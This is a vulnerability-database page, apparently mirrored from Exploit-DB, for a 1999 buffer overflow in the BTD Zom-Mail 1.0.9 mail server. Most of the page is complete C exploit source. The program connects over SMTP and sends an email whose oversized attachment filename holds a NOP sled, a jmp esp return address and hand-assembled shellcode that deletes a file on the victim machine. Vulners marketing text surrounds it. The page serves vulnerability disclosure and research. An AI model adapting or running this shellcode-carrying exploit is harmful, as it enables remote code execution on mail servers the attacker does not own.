Lucene search
K

BTD Studio Zom-Mail 1.0.9 - Remote Buffer Overflow

🗓️ 02 Nov 1999 00:00:00Reported by UNYUNType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 24 Views

Buffer overflow in BTD Zom-Mail 1.0.9 allows remote exploitation via long file attachment names.

Code
// source: https://www.securityfocus.com/bid/761/info


In certain versions of the BTD Zom-Mail server there exists a buffer overflow which may be remotely exploitable by malicious users. The problem in question is in the handling of overly (past 256 chars) long file names for file attachments.


/*=============================================================================
   ZOM-MAIL 1.09 Exploit
   The Shadow Penguin Security (http://shadowpenguin.backsection.net)
   Written by UNYUN ([email protected])
  =============================================================================
*/

#include    <stdio.h>
#include    <string.h>
#include    <windows.h> 
#include    <winsock.h>

#define     TARGET_FILE     "c:\\windows\\test.txt"
#define     MAXBUF          3000
#define     RETADR          768
#define     JMPESP_ADR      0xbffca4f7
#define     STACK_BYTES     32
#define     SMTP_PORT       25

#define     CONTENT \
"Subject: [Warning!!] This is exploit test mail.\r\n"\
"MIME-Version: 1.0\r\n"\
"Content-Type: multipart/mixed; "\
"boundary=\"U3VuLCAzMSBPY3QgMTk5OSAxODowODo1OCArMDkwMA==\"\r\n"\
"Content-Transfer-Encoding: 7bit\r\n"\
"--U3VuLCAzMSBPY3QgMTk5OSAxODowODo1OCArMDkwMA==\r\n"\
"Content-Type: image/gif; name=\"%s.gif\"\r\n"\
"Content-Disposition: attachment;\r\n"\
" filename=\"temp.gif\"\r\n"

unsigned char exploit_code[200]={
0xEB,0x32,0x5B,0x53,0x32,0xE4,0x83,0xC3,
0x0B,0x4B,0x88,0x23,0xB8,0x50,0x77,0xF7,
0xBF,0xFF,0xD0,0x43,0x53,0x50,0x32,0xE4,
0x83,0xC3,0x06,0x88,0x23,0xB8,0x28,0x6E,
0xF7,0xBF,0xFF,0xD0,0x8B,0xF0,0x43,0x53,
0x83,0xC3,0x0B,0x32,0xE4,0x88,0x23,0xFF,
0xD6,0x90,0xEB,0xFD,0xE8,0xC9,0xFF,0xFF,
0xFF,0x00
};
unsigned char cmdbuf[200]="msvcrt.dll.remove.";

void send_smtpcmd(SOCKET sock,char *cmd)
{
    char    reply[MAXBUF];
    int     r;
    send(sock,cmd,strlen(cmd),0);
    r=recv(sock,reply,MAXBUF,0);
    reply[r]=0;
    printf("%-11s: %s\n",strtok(cmd,":"),reply);
}
main(int argc,char *argv[])
{
    SOCKET               sock;
    SOCKADDR_IN          addr;
    WSADATA              wsa;
    WORD                 wVersionRequested;
    unsigned int         ip,p1,p2;
    char                 buf[MAXBUF],packetbuf[MAXBUF+1000];
    struct hostent       *hs;

    if (argc<3){
        printf("This exploit removes \"%s\" on the victim host",TARGET_FILE);
        printf("usage: %s SMTPserver Mailaddress\n",argv[0]);
        return -1;
    }
    wVersionRequested = MAKEWORD( 2, 0 );
    if (WSAStartup(wVersionRequested , &wsa)!=0){
        printf("Winsock Initialization failed.\n"); return -1;
    }
    if ((sock=socket(AF_INET,SOCK_STREAM,0))==INVALID_SOCKET){
        printf("Can not create socket.\n"); return -1;
    }
    addr.sin_family     = AF_INET;
    addr.sin_port       = htons((u_short)SMTP_PORT);
    if ((addr.sin_addr.s_addr=inet_addr(argv[1]))==-1){
            if ((hs=gethostbyname(argv[1]))==NULL){
                printf("Can not resolve specified host.\n"); return -1;
            }
            addr.sin_family = hs->h_addrtype;
            memcpy((void *)&addr.sin_addr.s_addr,hs->h_addr,hs->h_length);
    }
    if (connect(sock,(LPSOCKADDR)&addr,sizeof(addr))==SOCKET_ERROR){
        printf("Can not connect to specified host.\n"); return -1;
    }
    recv(sock,packetbuf,MAXBUF,0);
    printf("BANNER    : %s\n",packetbuf);

    send_smtpcmd(sock,"EHLO mail.attcker-host.net\r\n");
    send_smtpcmd(sock,"MAIL FROM: <[email protected]>\r\n");
    sprintf(packetbuf,"RCPT TO: <%s>\r\n",argv[2]);
    send_smtpcmd(sock,packetbuf);
    send_smtpcmd(sock,"DATA\r\n");
    
    memset(buf,0x90,MAXBUF); buf[MAXBUF]=0;
    ip=JMPESP_ADR;
    buf[RETADR  ]=ip&0xff;
    buf[RETADR+1]=(ip>>8)&0xff;
    buf[RETADR+2]=(ip>>16)&0xff;
    buf[RETADR+3]=(ip>>24)&0xff;

    strcat(exploit_code,cmdbuf);
    strcat(exploit_code,TARGET_FILE);
    p1=(unsigned int)LoadLibrary;
    p2=(unsigned int)GetProcAddress;
    exploit_code[0x0d]=p1&0xff;
    exploit_code[0x0e]=(p1>>8)&0xff;
    exploit_code[0x0f]=(p1>>16)&0xff;
    exploit_code[0x10]=(p1>>24)&0xff;
    exploit_code[0x1e]=p2&0xff;
    exploit_code[0x1f]=(p2>>8)&0xff;
    exploit_code[0x20]=(p2>>16)&0xff;
    exploit_code[0x21]=(p2>>24)&0xff;
    exploit_code[0x2a]=strlen(TARGET_FILE);
    memcpy(buf+RETADR+4+STACK_BYTES,exploit_code,strlen(exploit_code));

    sprintf(packetbuf,CONTENT,buf);
    send(sock,packetbuf,strlen(packetbuf),0);
    send_smtpcmd(sock,".\r\n");
    closesocket(sock);
    printf("Done.\n");
    return FALSE;
}

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

02 Nov 1999 00:00Current
7.4High risk
Vulners AI Score7.4
24